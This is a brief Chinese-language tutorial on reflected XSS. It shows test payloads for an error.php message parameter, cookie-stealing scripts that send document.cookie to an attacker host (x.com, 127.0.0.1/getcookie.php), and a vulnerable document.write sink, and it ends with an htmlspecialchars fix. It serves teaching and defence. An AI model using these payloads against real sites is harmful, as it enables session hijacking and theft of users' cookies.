反射型XSS漏洞由于这种漏洞需要一个包含Javascript的的请求,这些请求又被反射到提交请求的用户,所以成为反射型XSS
实例:动态页面向用户显示消息xxx.com/error.php?message=sorry%2c+an+error+ocurred
判断 xxx.com/error.php?message=<script>alert(‘xss’)</script>
利用漏洞
最常见的利用方式,会话劫持(cookie截获)
用户登录的时候会得到一个cookie,以下代码:
xss.com/error.php?message=<script>var+i=new+Image;+i.src=”http://x.com/“%2bdocument.cookie;</script>
包含的代码为:
<scirpt>
var i=new Image;
i.src=" http://x.com/"+document.cookie ;
</script>
这是一个简易的盗取cookie代码,攻击者监控其x.com收到的请求,便可得知用户的cookie(改良的该代码可以发送cookie到邮箱或页面)
假如error.php包含以下内容:
<script type="text/javascript">
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexOf("message=")+8,a.lentth));
</script>
攻击者继续提交 .com/error.php?message=<script>alert(‘xss’)</script> 即可触发漏洞
漏洞测试:<SCRIPT>a=/XSS/;alert(a.source);</SCRIPT>
漏洞演示:<script>var i=new Image;i.src="http://127.0.0.1/getcookie.php?c="%2bdocument.cookie;</script>
漏洞修补:使用htmlspecialchars函数过滤
$_POST $_GET $_COOKIE
http://127.0.0.1/114/url-submit/
<script src=http://127.0.0.1/114la.js></script>
课后了解